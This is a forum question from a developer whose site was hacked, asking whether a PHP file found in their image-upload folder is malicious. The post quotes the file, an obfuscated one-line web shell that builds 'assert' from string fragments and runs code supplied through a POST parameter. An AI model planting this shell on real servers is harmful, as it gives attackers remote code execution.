title: Unknown PHP file in my upload folder, isn't malicious code?
body: <p>Recently i found out my project got hacked and i found a script in my images folder which where a directory for user to upload their images (using file input). Here is the script that i found in the directory. </p>
  
  <p>errot_db.php</p>
  
  <pre><code>&lt;?php                  
  @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
  @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
  @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
  [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
  ?&gt;
  </code></pre>